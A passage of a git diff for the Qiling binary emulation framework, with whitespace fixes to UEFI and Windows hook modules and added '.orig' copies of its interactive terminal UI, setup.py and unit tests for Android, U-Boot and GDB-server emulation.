pointer + """ - return ql.mem.read_ptr(addr, 1) + return ql.mem.read_ptr(addr, 1) def ptr_write8(ql: Qiling, addr: int, val: int) -> None: - """Write BYTE data to a pointer - """ + """Write BYTE data to a pointer + """ - ql.mem.write_ptr(addr, val, 1) + ql.mem.write_ptr(addr, val, 1) def ptr_read16(ql: Qiling, addr: int) -> int: - """Read WORD data from a pointer - """ + """Read WORD data from a pointer + """ - return ql.mem.read_ptr(addr, 2) + return ql.mem.read_ptr(addr, 2) def ptr_write16(ql: Qiling, addr: int, val: int) -> None: - """Write WORD data to a pointer - """ + """Write WORD data to a pointer + """ - ql.mem.write_ptr(addr, val, 2) + ql.mem.write_ptr(addr, val, 2) def ptr_read32(ql: Qiling, addr: int) -> int: - """Read DWORD data from a pointer - """ + """Read DWORD data from a pointer + """ - return ql.mem.read_ptr(addr, 4) + return ql.mem.read_ptr(addr, 4) def ptr_write32(ql: Qiling, addr: int, val: int) -> None: - """Write DWORD data to a pointer - """ + """Write DWORD data to a pointer + """ - ql.mem.write_ptr(addr, val, 4) + ql.mem.write_ptr(addr, val, 4) def ptr_read64(ql: Qiling, addr: int) -> int: - """Read QWORD data from a pointer - """ + """Read QWORD data from a pointer + """ - return ql.mem.read_ptr(addr, 8) + return ql.mem.read_ptr(addr, 8) def ptr_write64(ql: Qiling, addr: int, val: int) -> None: - """Write QWORD data to a pointer - """ + """Write QWORD data to a pointer + """ - ql.mem.write_ptr(addr, val, 8) + ql.mem.write_ptr(addr, val, 8) # backward comptability read_int8 = ptr_read8 @@ -122,68 +122,68 @@ def ptr_write64(ql: Qiling, addr: int, val: int) -> None: write_int64 = ptr_write64 def init_struct(ql: Qiling, base: int, descriptor: Mapping): - struct_class = descriptor['struct'] - struct_fields = descriptor.get('fields', []) + struct_class = descriptor['struct'] + struct_fields = descriptor.get('fields', []) - isntance = struct_class() - ql.log.info(f'Initializing {struct_class.__name__}') + isntance = struct_class() + ql.log.info(f'Initializing {struct_class.__name__}') - for name, value in struct_fields: - if value is not None: - # a method: hook this field - if callable(value): - p = base + struct_class.offsetof(name) + for name, value in struct_fields: + if value is not None: + # a method: hook this field + if callable(value): + p = base + struct_class.offsetof(name) - setattr(isntance, name, p) - ql.hook_address(value, p) + setattr(isntance, name, p) + ql.hook_address(value, p) - ql.log.info(f' | {name:36s} {p:#010x}') + ql.log.info(f' | {name:36s} {p:#010x}') - # a value: set it - else: - setattr(isntance, name, value) + # a value: set it + else: + setattr(isntance, name, value) - ql.log.info(f'') + ql.log.info(f'') - return isntance + return isntance def str_to_guid(guid: str) -> EFI_GUID: - """Construct an EFI_GUID structure out of a plain GUID string. - """ + """Construct an EFI_GUID structure out of a plain GUID string. + """ - buff = UUID(hex=guid).bytes_le + buff = UUID(hex=guid).bytes_le - return EFI_GUID.from_buffer_copy(buff) + return EFI_GUID.from_buffer_copy(buff) def CompareGuid(guid1: EFI_GUID, guid2: EFI_GUID) -> bool: - return bytes(guid1) == bytes(guid2) + return bytes(guid1) == bytes(guid2) def install_configuration_table(context, key: str, table: Optional[int]): - """Create a new Configuration Table entry and add it to the list. + """Create a new Configuration Table entry and add it to the list. - Args: - ql : Qiling instance - key : profile section name that holds the entry data - table : address of configuration table data; if None, data will be read - from profile section into memory - """ + Args: + ql : Qiling instance + key : profile section name that holds the entry data + table : address of configuration table data; if None, data will be read + from profile section into memory + """ - cfgtable = context.ql.os.profile[key] - guid = cfgtable['Guid'] + cfgtable = context.ql.os.profile[key] + guid = cfgtable['Guid'] - # if pointer to table data was not specified, load table data - # from profile and have table pointing to it - if table is None: - data = binascii.unhexlify(cfgtable['TableData']) - table = context.conf_table_data_next_ptr + # if pointer to table data was not specified, load table data + # from profile and have table pointing to it + if table is None: + data = binascii.unhexlify(cfgtable['TableData']) + table = context.conf_table_data_next_ptr - context.ql.mem.write(table, data) - context.conf_table_data_next_ptr += len(data) + context.ql.mem.write(table, data) + context.conf_table_data_next_ptr += len(data) - context.conftable.install(guid, table) + context.conftable.install(guid, table) def GetEfiConfigurationTable(context, guid: str) -> Optional[int]: - """Find a configuration table by its GUID. - """ + """Find a configuration table by its GUID. + """ - return context.conftable.get_vendor_table(guid) \ No newline at end of file + return context.conftable.get_vendor_table(guid) \ No newline at end of file diff --git a/qiling/os/windows/dlls/kernel32/timezoneapi.py b/qiling/os/windows/dlls/kernel32/timezoneapi.py index b5af67ded..1fcf6835b 100644 --- a/qiling/os/windows/dlls/kernel32/timezoneapi.py +++ b/qiling/os/windows/dlls/kernel32/timezoneapi.py @@ -12,8 +12,8 @@ # [out] LPTIME_ZONE_INFORMATION lpTimeZoneInformation # ); @winsdkapi(cc=STDCALL, params={ - 'lpTimeZoneInformation' : LPTIME_ZONE_INFORMATION + 'lpTimeZoneInformation' : LPTIME_ZONE_INFORMATION }) def hook_GetTimeZoneInformation(ql: Qiling, address: int, params): # TODO: implement this later. fail for now - return TIME_ZONE_ID_INVALID + return TIME_ZONE_ID_INVALID diff --git a/qiling/os/windows/dlls/user32.py b/qiling/os/windows/dlls/user32.py index 3c816646e..0e0e04039 100644 --- a/qiling/os/windows/dlls/user32.py +++ b/qiling/os/windows/dlls/user32.py @@ -96,10 +96,10 @@ def hook_DialogBoxParamA(ql: Qiling, address: int, params): return 0 # UINT GetDlgItemTextA( -# HWND hDlg, -# int nIDDlgItem, -# LPSTR lpString, -# int cchMax +# HWND hDlg, +# int nIDDlgItem, +# LPSTR lpString, +# int cchMax # ); @winsdkapi(cc=STDCALL, params={ 'hDlg' : HWND, diff --git a/qiling/os/windows/structs.py b/qiling/os/windows/structs.py index 170f534bc..71aed2d74 100644 --- a/qiling/os/windows/structs.py +++ b/qiling/os/windows/structs.py @@ -983,7 +983,7 @@ class LdrDataTableEntry(Struct): ('LoadReason', ctypes.c_uint32), ('ImplicitPathOptions', native_type), ('ReferenceCount', native_type), - # 1607+ + # 1607+ ('DependentLoadFlags', native_type), # 1703+ ('SigningLevel', ctypes.c_uint8) diff --git a/qiling/utils.py b/qiling/utils.py index b3b048019..14528b689 100644 --- a/qiling/utils.py +++ b/qiling/utils.py @@ -449,14 +449,14 @@ def verify_ret(ql: 'Qiling', err): if ql.arch.type == QL_ARCH.X8664: # Win64 if ql.os.init_sp == ql.arch.regs.arch_sp or ql.os.init_sp + 8 == ql.arch.regs.arch_sp or ql.os.init_sp + 0x10 == ql.arch.regs.arch_sp: # FIXME - # 0x11626 c3 ret + # 0x11626 c3 ret # print("OK, stack balanced!") pass else: raise else: # Win32 if ql.os.init_sp + 12 == ql.arch.regs.arch_sp: # 12 = 8 + 4 - # 0x114dd c2 08 00 ret 8 + # 0x114dd c2 08 00 ret 8 pass else: raise diff --git a/qltui.py.orig b/qltui.py.orig new file mode 100644 index 000000000..8e841881f --- /dev/null +++ b/qltui.py.orig @@ -0,0 +1,675 @@ +import os +import ast +import pickle +import re +import six +import argparse +import json + +from pyfx import PyfxApp +from pprint import pprint +from datetime import datetime + +import questionary +from questionary import Validator, ValidationError +try: + from termcolor import colored +except ImportError: + colored = None + +from qiling import Qiling +from qiling.const import os_map, arch_map, verbose_map +from qiling.extensions.coverage import utils as cov_utils + +motd = """ + ██████ ███ ████ ███ + ███░░░░███ ░░░ ░░███ ░░░ + ███ ░░███ ████ ░███ ████ ████████ ███████ +░███ ░███░░███ ░███ ░░███ ░░███░░███ ███░░███ +░███ ██░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ +░░███ ░░████ ░███ ░███ ░███ ░███ ░███ ░███ ░███ + ░░░██████░██ █████ █████ █████ ████ █████░░███████ + ░░░░░░ ░░ ░░░░░ ░░░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░███ + ███ ░███ + ░░██████ + ░░░░░░ +""" + +ERROR_COLOR = "red" + +HEADING_COLOR = "green" + +OUTPUT_COLOR = "blue" + +TITLE_COLOR = "blue" + +prog = os.path.basename(__file__) + +HEX_REGEX = r'^(0[xX])[a-fA-F0-9]+$' + + +class Callback_Functions(): + """ + Callback Functions for Hook Operation + """ + + @staticmethod + def read_mem(ql: Qiling, *args): + user_data = args[-1] + buff = ql.mem.read(user_data["address"], user_data["bytes_size"]) + ql.log.info(f"Hook was triggered at -> {user_data['address']}") + ql.log.info(buff) + + @staticmethod + def read_reg(ql: Qiling, *args): + user_data = args[-1] + buff = ql.reg.read(user_data["register_name"]) + ql.log.info(f"Hook was triggered at -> {user_data['register_name']}") + ql.log.info(buff) + + @staticmethod + def write_mem(ql: Qiling, *args): + user_data = args[-1] + buff = ql.mem.write(user_data["address"], user_data["value"]) + ql.log.info(f"Hook was triggered at -> {user_data['address']}") + ql.log.info(buff) + + @staticmethod + def write_reg(ql: Qiling, *args): + user_data = args[-1] + buff = ql.reg.write(user_data["register_name"], user_data["value"]) + ql.log.info(f"Hook was triggered at -> {user_data['register_name']}") + ql.log.info(buff) + + @staticmethod + def emu_start(ql: Qiling, *args): + user_data = args[-1] + ql.emu_start(begin=user_data["start"], end=user_data["end"]) + + @staticmethod + def emu_stop(ql: Qiling, *args): + ql.log.info('killer switch found, stopping') + ql.emu_stop() + + @staticmethod + def save(ql: Qiling, *args): + ql.save() + +def env_arg(value): + """ + Function to read env parameter + """ + if value == "{}": + return {} + else: + if os.path.exists(value): + with open(value, 'rb') as f: + env = pickle.load(f) + else: + env = ast.literal_eval(value) + return env + + +def verbose_arg(value): + """ + Function to map Verbose + """ + return verbose_map[value] + + +def read_file(fname: str): + """ + Function to read code from file + """ + with open(fname, "rb") as f: + content = f.read() + + return content + +if colored: + def log(string, color): + """ + Function to beautify terminal output + """ + six.print_(colored(string, color)) +else: + def log(string, color): + """ + Function to beautify terminal output + """ + six.print_(string) + + +class IntValidator(Validator): + """ + Integer validator + """ + def validate(self, value): + try: + int(value.text) + return True + except: + raise ValidationError( + message="Integer required", + cursor_position=len(value.text)) + + +class HexValidator(Validator): + """ + Hex validator + """ + def validate(self, value): + if re.match(HEX_REGEX, value.text): + return True + else: + raise ValidationError( + message="Address required", + cursor_position=len(value.text)) + + +class IntHexValidator(Validator): + """ + Integer/Hex validator + """ + def validate(self, value): + if re.match(HEX_REGEX, str(value.text)): + return True + else: + try: + int(value.text) + return True + except: + raise ValidationError( + message="Integer or Hex required", + cursor_position=len(value.text)) + +class DirectoryPathValidator(Validator): + """ + Required Directory Path validator + """ + def validate(self, value): + if len(value.text): + if os.path.isdir(value.text): + return True + else: + raise ValidationError( + message="Directory not found", + cursor_position=len(value.text)) + else: + return True + + +class RequiredDirectoryPathValidator(Validator): + """ + Directory Path validator + """ + def validate(self, value): + if len(value.text): + if os.path.isdir(value.text): + return True + else: + raise ValidationError( + message="Directory not found", + cursor_position=len(value.text)) + else: + raise ValidationError( + message="You can't leave this blank", + cursor_position=len(value.text)) + + +class FilePathValidator(Validator): + """ + File Path validator + """ + def validate(self, value): + if len(value.text): + if os.path.isfile(value.text): + return True + else: + raise ValidationError( + message="File not found", + cursor_position=len(value.text)) + else: + return True + + +class ENVFilePathValidator(Validator): + """ + File Path validator for env parameter + """ + def validate(self, value): + if value.text == "{}": + return True + if len(value.text): + if os.path.isfile(value.text): + return True + else: + raise ValidationError( + message="File not found", + cursor_position=len(value.text)) + else: + return True + + +def ask_option(): + """ + Ask for operation(run/code) + """ + answer = questionary.select( + "Select an Option:", + choices=['Run', 'Code']).ask() + + return answer.lower() + + +def ask_run_options(): + """ + Ask arguments for run + """ + filename = questionary.path("filename:", validate=FilePathValidator).ask() + + rootfs = questionary.path("rootfs:", only_directories=True, + validate=RequiredDirectoryPathValidator).ask() + + args = questionary.text("args:").ask() + args = args.split() + + run_args = questionary.text("run_args:").ask() + run_args = run_args.split() + + return {"filename": filename, "rootfs": rootfs, "args": args, + "run_args": run_args} + + +def ask_code_options(): + """ + Ask arguments for code + """ + filename = questionary.path("filename:", validate=FilePathValidator).ask() + + input_ = questionary.text("input:").ask() + if not input_: + input_ = None + + format_ = questionary.select( + "format:", + choices=['bin', 'asm', 'hex']).ask() + + arch = questionary.select( + "arch:", + choices=arch_map).ask() + + endian = questionary.select( + "endian:", + choices=['little', 'big']).ask() + + os = questionary.select( + "os:", + choices=os_map).ask() + + rootfs = questionary.path("rootfs:", only_directories=True, + validate=RequiredDirectoryPathValidator, default=".").ask() + + thumb = questionary.confirm("thumb:", + default=False, auto_enter=True).ask() + + return {"filename": filename, "input": input_, "format": format_, + "arch": arch, "endian": endian, "os": os, "rootfs": rootfs, + "thumb": thumb} + + +def ask_additional_options(): + """ + Ask additional options for run/code + """ + options = {} + + verbose = questionary.select( + "verbose:", + choices=list(verbose_map.keys()), + default="default").ask() + verbose = verbose_arg(verbose) + + env = questionary.path("env:", default="{}", validate=ENVFilePathValidator).ask() + env = env_arg(env) + + debug = questionary.confirm("debug:", + default=False, auto_enter=True).ask() + gdb = None + qdb, rr = False, False + if debug: + gdb = questionary.text("\tgdb:").ask() + + qdb = questionary.confirm("\tqdb:", + default=False, auto_enter=True).ask() + + rr = questionary.confirm("\trr:", + default=False, auto_enter=True).ask() + + profile = questionary.text("profile:").ask() + if not profile: + profile = None + + console = questionary.confirm("console:", + default=True, auto_enter=True).ask() + + filter_ = questionary.text("filter:").ask() + if not filter_: + filter_ = None + + log_file = questionary.path("log-file:", validate=FilePathValidator).ask() + if not log_file: + log_file = None + + log_plain = questionary.confirm("log-plain:", + default=False, auto_enter=True).ask() + + root = questionary.confirm("root:", + default=False, auto_enter=True).ask() + + debug_stop = questionary.confirm("debug-stop:", + default=False, auto_enter=True).ask() + + multithread = questionary.confirm("multithread:", + default=False, auto_enter=True).ask() + + timeout = int(questionary.text("profile:", default="0", validate=IntValidator).ask()) + + coverage = questionary.confirm("coverage:", + default=False, auto_enter=True).ask() + coverage_file = None + coverage_format = "drcov" + if coverage: + coverage_file = questionary.path("\tcoverage-file:", validate=FilePathValidator).ask() + + coverage_format = questionary.select( + "\tcoverage-format:", + choices=list(cov_utils.factory.formats), + default="drcov").ask() + + json_ = questionary.confirm("json:", + default=False, auto_enter=True).ask() + + libcache = questionary.confirm("libcache:", + default=False, auto_enter=True).ask() + + options = {"verbose": verbose, "env": env, "gdb": gdb, "qdb": qdb, "rr": rr, "profile": profile, "console": console, + "filter": filter_, "log_file": log_file, + "log_plain": log_plain, "root": root, "debug_stop": debug_stop, + "multithread": multithread, "timeout": timeout, + "coverage_file": coverage_file, "coverage_format": coverage_format, + "json": json_, "libcache": libcache} + + return options + + +def get_data(): + """ + Main Qltui function + """ + print(motd) + log("Welcome to Qiling", HEADING_COLOR) + log("Cross Platform and Multi Architecture Advanced Binary Emulation Framework", HEADING_COLOR) + + command = ask_option() + + if command == 'run': + log("Select Run Options", OUTPUT_COLOR) + command_options = ask_run_options() + + log("Select Additional Options", OUTPUT_COLOR) + additional_options = ask_additional_options() + + elif command == 'code': + log("Select Code Options", OUTPUT_COLOR) + command_options = ask_code_options() + + log("Select Additional Options", OUTPUT_COLOR) + additional_options = ask_additional_options() + + else: + log("Error", ERROR_COLOR) + + command_options.update(additional_options) + options = command_options + options['subcommand'] = command + + namespace = argparse.Namespace(**options) + + return namespace + + +def ask_report(): + """ + Ask for the format of report + """ + answer = questionary.select( + "Select an Option:", + choices=['Report', 'Interactive Report', 'Save to Json', 'Quit']).ask() + + return answer.lower() + + +def show_report(ql: Qiling, report, hook_dictionary): + """ + Ask if user wants to see the report + """ + log("Report", HEADING_COLOR) + + os_map_reverse = dict(zip(os_map.values(), os_map.keys())) + arch_map_reverse = dict(zip(arch_map.values(), arch_map.keys())) + + os_name = os_map_reverse[ql.os.type] + arch_name = arch_map_reverse[ql.arch.type] + + if hook_dictionary: + for key in ['hook_target_address', 'address']: + if key in hook_dictionary: + hook_dictionary[key] = hex(hook_dictionary[key]) + report["hook"] = hook_dictionary + + while True: + command = ask_report() + + if command == 'report': + pprint(report) + elif command == 'interactive report': + PyfxApp(data=report).run() + elif command == 'save to json': + time = datetime.now().strftime("%Y_%m_%d_%H-%M-%S") + report_name = f"report_{ql.targetname.replace('.', '_')}_{os_name}_{arch_name}_{time}.json" + with open(report_name, "w") as json_file: + json_file.write(json.dumps(report)) + print(f"The report was saved in your current directory as {report_name}") + elif command == 'quit': + break + + +def want_to_hook(): + """ + Ask if user wants to hook + """ + answer = questionary.confirm("Want to Hook:", + default=False, auto_enter=True).ask() + + return answer + + +def ask_hook_type(): + """ + Ask for the type of hook + """ + answer = questionary.select( + "Select an Option:", + choices=['hook_address', 'hook_code', 'hook_block', 'hook_intno', + 'hook_mem_unmapped', 'hook_mem_read_invalid', + 'hook_mem_write_invalid', 'hook_mem_fetch_invalid', 'hook_mem_invalid', + 'hook_mem_read', 'hook_mem_write', 'hook_mem_fetch']).ask() + + return answer.lower() + + +def ask_hook_operation(): + """ + Ask for the hook operation + """ + answer = questionary.select( + "Select an Option:", + choices=['read', 'write', 'emu_start', 'emu_stop', 'save']).ask() + + return answer.lower() + + +def get_bytes_size(): + """ + Ask for bytes size + """ + answer = questionary.text("bytes_size:", validate=IntValidator).ask() + + if re.match(HEX_REGEX, str(answer)): + return int(answer, 16) + + return int(answer) + + +def ask_value(): + """ + Ask for value + """ + answer = questionary.text("value:").ask() + + return bytes(answer, 'utf-8') + + +def ask_where(): + """ + Ask what to Hook + """ + answer = questionary.select( + "Select an Option:", + choices=['Memory', 'Register']).ask() + + return answer.lower()[:3] + + +def ask_start_end(): + """ + Ask for start and end points for emulator start + """ + start = questionary.text("address_start:").ask() + end = questionary.text("address_end:", default="0x0").ask() + + return {"start": int(start, 16), "end": int(end, 16)} + + +def ask_address(): + """ + Ask for address to hook + """ + address = questionary.text("address:", validate=HexValidator).ask() + + return int(address, 16) + + +def ask_hook_address(): + """ + Ask for address to hook + """ + address = questionary.text("Hook Traget Address:", validate=HexValidator).ask() + + return int(address, 16) + + +def ask_register_name(): + """ + Ask register name + """ + answer = questionary.text("register_name:").ask() + + return answer + + +def hook(ql: Qiling): + """ + Hook Function + """ + + log("Hook", HEADING_COLOR) + + hook_dictionary = {} + + do_hook = want_to_hook() + + if do_hook: + hook_type = ask_hook_type() + hook_dictionary["hook_type"] = hook_type + + operation = ask_hook_operation() + hook_dictionary["operation"] = operation + + args = [] + user_data = {} + + if hook_type == "hook_address": + hook_target_address = ask_hook_address() + args.append(hook_target_address) + hook_dictionary["hook_target_address"] = hook_target_address + + if operation in ['read', 'write']: + where = ask_where() + hook_dictionary["storage"] = where + if where == 'mem': + address = ask_address() + user_data["address"] = address + hook_dictionary["address"] = address + if operation == 'read': + bytes_size = get_bytes_size() + user_data["bytes_size"] = bytes_size + hook_dictionary["bytes_size"] = bytes_size + operation = 'read_mem' + else: + value = ask_value() + user_data["value"] = value + hook_dictionary["value"] = value + operation = 'write_mem' + else: + register_name = ask_register_name() + user_data["register_name"] = register_name + hook_dictionary["register_name"] = register_name + if operation == 'read': + operation = 'read_reg' + else: + value = ask_value() + user_data["value"] = value + hook_dictionary["value"] = value + operation = 'write_reg' + + if operation == 'emu_start': + start_end = ask_start_end() + user_data["start"] = start_end["start"] + user_data["end"] = start_end["end"] + hook_dictionary["start"] = start + hook_dictionary["end"] = end + + if user_data: + hook_dictionary["user_data"] = user_data + + getattr(ql, hook_type)(getattr(Callback_Functions, operation), *args, user_data=user_data) + + return hook_dictionary + + +def transform_syscalls(syscalls, keys=["address"], func=lambda x: hex(x)): + for i in syscalls: + try: + if isinstance(i, list) or isinstance(i, dict): + transform_syscalls(i, keys, func) + elif isinstance(syscalls[i], list) or isinstance(syscalls[i], dict): + transform_syscalls(syscalls[i], keys, func) + + if i in keys and isinstance(syscalls[i], int): + syscalls[i] = func(syscalls[i]) + except: + pass + + return syscalls diff --git a/setup.py.orig b/setup.py.orig new file mode 100644 index 000000000..e20cc80bc --- /dev/null +++ b/setup.py.orig @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# +# Python setup for Qiling framework + +from setuptools import setup, find_packages + +# NOTE: use "-dev" for dev branch +VERSION = "1.4.5" + "-dev" +#VERSION = "1.4.4" + +requirements = [ + "capstone>=4.0.1", + "unicorn>=2.0.1", + "pefile>=2022.5.30", + "python-registry>=1.3.1", + "keystone-engine>=0.9.2", + "pyelftools>=0.28", + "gevent>=20.9.0", + "multiprocess>=0.70.12.2", + "windows-curses>=2.1.0;platform_system=='Windows'", + "pyyaml>=6.0", + "python-fx", + "questionary", + "termcolor", +] + +extras = { + "evm": [ + "blake2b-py>=0.1.2", + "cached-property>=1.5.2;python_version<'3.8'", + "typing-extensions>=3.7.4.3;python_version<'3.8'", + "eth-keys>=0.2.1", + "eth-typing>=2.2.0", + "eth-utils>=1.9.4", + "eth_abi>=2.1.1", + "lru-dict>=1.1.6", + "py-ecc>=1.4.7", + "rlp>=2", + "trie==2.0.0-alpha.5", + "eth-hash[pycryptodome]", + "numpy", + "rich", + "cmd2" + ], + "fuzz" : [ + "unicornafl>=2.0.0;platform_system!='Windows'", + "fuzzercorn>=0.0.1;platform_system=='Linux'" + ], + "RE": [ + "r2libr>=5.7.4", + ] +} + +with open("README.md", "r", encoding="utf-8") as ld: + long_description = ld.read() + +setup( + name='qiling', + version=VERSION, + + description='Qiling is an advanced binary emulation framework that cross-platform-architecture', + url='http://qiling.io', + long_description=long_description, + long_description_content_type="text/markdown", + maintainer='KaiJern Lau (xwings)', + maintainer_email='info@qiling.io', + + license='GPLv2', + + # See https://pypi.python.org/pypi?%3Aaction=list_classifiers + classifiers=[ + # How mature is this project? Common values are + # 3 - Alpha + # 5 - Production/Stable + #'Development Status :: 5 - Production/Stable', + 'Development Status :: 3 - Alpha', + + # Indicate who your project is intended for + 'Intended Audience :: Developers', + 'Topic :: Software Development :: Build Tools', + + # Pick your license as you wish (should match "license" above) + 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', + + # Specify the Python versions you support here. In particular, ensure + # that you indicate whether you support Python 2, Python 3 or both. + 'Programming Language :: Python :: 3', + ], + + keywords='qiling binary emulator framework malware analysis UEFI IoT', + + packages=find_packages(), + scripts=['qltool'], + package_data={ + 'qiling': ['profiles/*.ql'], + 'qiling.debugger.gdb': ['xml/*/*'], + 'qiling.os.uefi': ['guids.csv'], + 'qiling.arch.evm.analysis': ['signatures.json'] + }, + install_requires=requirements, + extras_require=extras, +) diff --git a/tests/test_android.py.orig b/tests/test_android.py.orig new file mode 100644 index 000000000..1556bc02d --- /dev/null +++ b/tests/test_android.py.orig @@ -0,0 +1,83 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import platform, sys, unittest +from collections import defaultdict + +sys.path.append("..") +from qiling import Qiling +from qiling.os.mapper import QlFsMappedObject +from qiling.os.posix import syscall + + +class Fake_maps(QlFsMappedObject): + def __init__(self, ql: Qiling): + self.ql = ql + + def read(self, size): + return ''.join(f'{lbound:x}-{ubound:x} {perms}p {label}\n' for lbound, ubound, perms, label, _ in self.ql.mem.get_mapinfo()).encode() + + def fstat(self): + return defaultdict(int) + + def close(self): + return 0 + + +def my_syscall_close(ql: Qiling, fd: int) -> int: + if fd in (0, 1, 2): + return 0 + + return syscall.ql_syscall_close(ql, fd) + + +# addresses specified on non-fixed mmap calls are used as hints, where the allocated +# address can never be less than the value set for mmap_address. nevertheless, android +# uses a non-fixed mmap call to map "/system/framework/arm64/boot.art" at 0x70000000 +# and fails if mmap allocates it elsewhere. +# +# this override sets a lower value for mmap_address to allow android map the file using +# a non-fixed mmap call to exactly where it wants it to be. +OVERRIDES = {'mmap_address': 0x68000000} + + +class TestAndroid(unittest.TestCase): + @unittest.skipUnless(platform.system() == 'Linux', 'run only on Linux') + def test_android_arm64(self): + test_binary = "../examples/rootfs/arm64_android6.0/bin/arm64_android_jniart" + rootfs = "../examples/rootfs/arm64_android6.0" + env = { + 'ANDROID_DATA': r'/data', + 'ANDROID_ROOT': r'/system' + } + + ql = Qiling([test_binary], rootfs, env, profile={'OS64': OVERRIDES}, multithread=True) + + ql.os.set_syscall("close", my_syscall_close) + ql.add_fs_mapper("/proc/self/task/2000/maps", Fake_maps(ql)) + ql.run() + + del ql + + @unittest.skipUnless(platform.system() == 'Linux', 'run only on Linux') + def test_android_arm(self): + test_binary = "../examples/rootfs/arm64_android6.0/bin/arm_android_jniart" + rootfs = "../examples/rootfs/arm64_android6.0" + env = { + 'ANDROID_DATA': r'/data', + 'ANDROID_ROOT': r'/system' + } + + ql = Qiling([test_binary], rootfs, env, profile={'OS32': OVERRIDES}, multithread=True) + + ql.os.set_syscall("close", my_syscall_close) + ql.add_fs_mapper("/proc/self/task/2000/maps", Fake_maps(ql)) + ql.run() + + del ql + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_blob.py.orig b/tests/test_blob.py.orig new file mode 100644 index 000000000..1a702f01c --- /dev/null +++ b/tests/test_blob.py.orig @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +sys.path.append("..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.os.const import STRING + +class BlobTest(unittest.TestCase): + def test_uboot_arm(self): + def my_getenv(ql, *args, **kwargs): + env = {"ID": b"000000000000000", "ethaddr": b"11:22:33:44:55:66"} + params = ql.os.resolve_fcall_params({'key': STRING}) + value = env.get(params["key"], b"") + + value_addr = ql.os.heap.alloc(len(value)) + ql.mem.write(value_addr, value) + + ql.arch.regs.r0 = value_addr + ql.arch.regs.arch_pc = ql.arch.regs.lr + + def check_password(ql, *args, **kwargs): + passwd_output = ql.mem.read(ql.arch.regs.r0, ql.arch.regs.r2) + passwd_input = ql.mem.read(ql.arch.regs.r1, ql.arch.regs.r2) + self.assertEqual(passwd_output, passwd_input) + + def partial_run_init(ql): + # argv prepare + ql.arch.regs.arch_sp -= 0x30 + arg0_ptr = ql.arch.regs.arch_sp + ql.mem.write(arg0_ptr, b"kaimendaji") + + ql.arch.regs.arch_sp -= 0x10 + arg1_ptr = ql.arch.regs.arch_sp + ql.mem.write(arg1_ptr, b"013f1f") + + ql.arch.regs.arch_sp -= 0x20 + argv_ptr = ql.arch.regs.arch_sp + ql.mem.write_ptr(argv_ptr, arg0_ptr) + ql.mem.write_ptr(argv_ptr + ql.arch.pointersize, arg1_ptr) + + ql.arch.regs.r2 = 2 + ql.arch.regs.r3 = argv_ptr + + print("ARM uboot bin") + + with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: + uboot_code = f.read() + + ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="profiles/uboot_bin.ql", verbose=QL_VERBOSE.DEBUG) + + image_base_addr = ql.loader.load_address + ql.hook_address(my_getenv, image_base_addr + 0x13AC0) + ql.hook_address(check_password, image_base_addr + 0x48634) + + partial_run_init(ql) + + ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718) + + del ql + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_debugger.py.orig b/tests/test_debugger.py.orig new file mode 100644 index 000000000..9003fe1cb --- /dev/null +++ b/tests/test_debugger.py.orig @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, threading, unittest, socket, time + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_VERBOSE + +class SimpleGdbClient: + DELAY = 0.6 + + def __init__(self, host: str, port: int): + sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + txtf = sock.makefile('w') + + sock.connect((host, port)) + + self.__sock = sock + self.__file = txtf + + def __enter__(self): + return self + + def __exit__(self, ex_type, ex_value, ex_traceback): + self.__sock.close() + + @staticmethod + def checksum(data: str) -> int: + return sum(ord(c) for c in data) & 0xff + + def send(self, msg: str): + time.sleep(SimpleGdbClient.DELAY) + + self.__file.write(f'${msg}#{SimpleGdbClient.checksum(msg):02x}') + self.__file.flush() + +class DebuggerTest(unittest.TestCase): + + def test_gdbdebug_file_server(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.debugger = True + + # some random command test just to make sure we covered most of the command + def gdb_test_client(): + # yield to allow ql to launch its gdbserver + time.sleep(1.337 * 2) + + with SimpleGdbClient('127.0.0.1', 9999) as client: + client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') + client.send('vMustReplyEmpty') + client.send('QStartNoAckMode') + client.send('Hgp0.0') + client.send('qXfer:auxv:read::0, 1000') + client.send('?') + client.send('qXfer:threads:read::0,fff') + client.send(f'qAttached:{ql.os.pid}') + client.send('qC') + client.send('g') + client.send('m555555554040, 1f8') + client.send('m555555554000, 100') + client.send('m200, 100') + client.send('p10') + client.send('Z0,555555554ada, 1') + client.send('c') + client.send('k') + + # yield to make sure ql gdbserver has enough time to receive our last command + time.sleep(1.337) + + threading.Thread(target=gdb_test_client, daemon=True).start() + + ql.run() + del ql + + def test_gdbdebug_mips32(self): + ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG) + ql.debugger = True + + # some random command test just to make sure we covered most of the command + def gdb_test_client(): + # yield to allow ql to launch its gdbserver + time.sleep(1.337 * 2) + + with SimpleGdbClient('127.0.0.1', 9999) as client: + client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') + client.send('vMustReplyEmpty') + client.send('QStartNoAckMode') + client.send('Hgp0.0') + client.send('qXfer:auxv:read::0, 1000') + client.send('?') + client.send('qXfer:threads:read::0,fff') + 